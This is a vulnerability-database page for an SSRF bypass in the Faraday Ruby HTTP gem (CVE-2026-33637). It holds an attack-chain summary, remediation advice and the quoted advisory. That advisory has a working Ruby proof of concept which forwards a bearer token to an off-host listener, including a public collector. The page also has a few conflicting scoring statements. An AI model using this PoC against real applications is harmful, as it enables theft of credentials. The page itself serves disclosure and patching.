Skip to main content

Faraday Ruby Gem EUVDEUVD-2026-30966

| CVE-2026-33637 MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-18 https://github.com/lostisland/faraday GHSA-5rv5-xj5j-3484
6.5
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply protocol-relative URI as user input
  2. Delivery
    Application calls URI.parse() on attacker input
  3. Exploit
    Faraday receives URI object, bypassing host-scope validation
  4. Execution
    HTTP request dispatched to attacker-controlled host
  5. Persist
    Connection-scoped Authorization header forwarded in request
  6. Impact
    Attacker captures credentials from incoming request

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concurrent conditions: (1) the target application uses a Faraday::Connection configured with a fixed base URL and connection-scoped headers (such as Authorization); (2) the application accepts attacker-controlled input and passes it through URI.parse() or equivalent, yielding a URI object rather than a plain String; and (3) that URI object is then supplied directly to a Faraday request method such as conn.get(), conn.post(), or req.url(). The bypass is specifically gated on the input being a URI object - applications that pass only String values to Faraday are protected by the prior CVE-2026-25765 fix and are NOT affected. Exploitation is further limited to Faraday versions 2.0.0-2.14.1; applications running 2.14.2 or later are patched. No authentication against the target application is required by the attacker (PR:N per CVSS vector). The attacker does not need network adjacency - this is a fully remote, network-accessible attack path.

Impact

The provided CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) attributes zero impact across all dimensions, which directly conflicts with the demonstrated behavior: the published PoC exfiltrates Authorization: Bearer <token> credentials to an attacker-controlled host. This vector appears to be a placeholder or scoring error, not an accurate impact assessment - security teams must NOT rely on the CVSS score as a risk signal for this CVE. The attack vector attributes (AV:N/AC:L/PR:N/UI:N) are consistent with the description and are credible. No EPSS score was provided in the available data. No CISA KEV listing was present, meaning active exploitation is not confirmed by a government threat feed, though publicly available exploit code exists. The bypass nature of this vulnerability is a significant risk amplifier: organizations that patched CVE-2026-25765 and believe they are protected are not, if their application ever passes URI objects to Faraday. Any Ruby application that accepts user input, parses it with URI.parse(), and passes the result to a Faraday connection with default Authorization headers is a high-priority remediation target.

Exploit ScenarioDerived

An attacker submits a crafted protocol-relative URI string - such as //attacker.example/collect - to an application endpoint that parses user input with URI.parse() and passes the resulting URI object to a Faraday connection method (conn.get(), conn.post()). The application, which configures a fixed base URL of http://trusted.example/api with a default Authorization: Bearer <token> header, dispatches the request to the attacker's host instead, forwarding the bearer token in full. The published proof-of-concept in GHSA-5rv5-xj5j-3484 confirms this flow was successfully executed against both a local WEBrick listener and a public HTTP collector, returning HTTP 200 with the leaked token visible in the captured request.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 18, 2026

Off-host request forgery in the Faraday Ruby HTTP client library (versions 2.0.0-2.14.1) allows a remote unauthenticated attacker who can influence the per-request target to redirect HTTP requests - along with connection-scoped Authorization headers - to an arbitrary attacker-controlled host. This is a bypass of the February 2026 patch for CVE-2026-25765 (GHSA-33mh-2634-fwr2): the prior fix sanitized String inputs to Faraday::Connection#build_exclusive_url but failed to handle URI objects, which Ruby's URI parser resolves differently. Publicly available exploit code (proof-of-concept) exists and was independently confirmed against an external HTTP collector, demonstrating real-world credential exfiltration.

RemediationAI

Upgrade Faraday to version 2.14.2 or later, which is the vendor-released patch per GHSA-5rv5-xj5j-3484 (https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484). Run bundle update faraday and pin to >= 2.14.2 in your Gemfile. If an immediate upgrade is blocked, apply a compensating control in application code: before passing any user-controlled value to Faraday, parse it with URI.parse() and explicitly reject it if the host component is non-nil and does not match the expected base host - e.g., raise ArgumentError if URI.parse(target).host && URI.parse(target).host != expected_host. Additionally, block inputs matching the pattern ^// (protocol-relative URI prefix) at the input validation layer. Note that these application-level controls must be applied at every call site that passes user-influenced values to Faraday; they carry a maintenance burden and are inferior to upgrading. Rotating any bearer tokens or API keys that may have transited a Faraday connection in applications exposed to untrusted input should be considered given that credential exfiltration is the primary demonstrated impact.

Affected VersionsENISA

faraday 2.0.0, ≤ 2.14.2

Affected Packages

rubygems faraday fix: 2.14.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in rubygems

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Faraday (pkg:rubygems/faraday) is a widely-used Ruby HTTP client library providing a connection abstraction with configurable base URLs and default headers. The vulnerability is rooted in Faraday::Connection#build_exclusive_url and Faraday::Request#url (in lib/faraday/connection.rb and lib/faraday/request.rb). When a URI object containing a protocol-relative path such as //evil.example/pwn is passed instead of a String, the host-scoping validation introduced for GHSA-33mh-2634-fwr2 is never invoked because it only operates on the String code path. Ruby's URI class treats protocol-relative references as having an explicit (non-nil) host component, so the resulting URL resolves to the attacker's host while preserving all connection-scoped headers. The root cause class is CWE-918 (Server-Side Request Forgery): server-side code constructs an outbound HTTP request to a destination controlled by the attacker rather than the trusted base URL.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
SUSE MEDIUM
Red Hat 6.3 MEDIUM

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 24, 2026 - 09:22 NVD
6.5 (MEDIUM)

DescriptionNVD

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), conn.post(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
bash
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
text
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
text
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy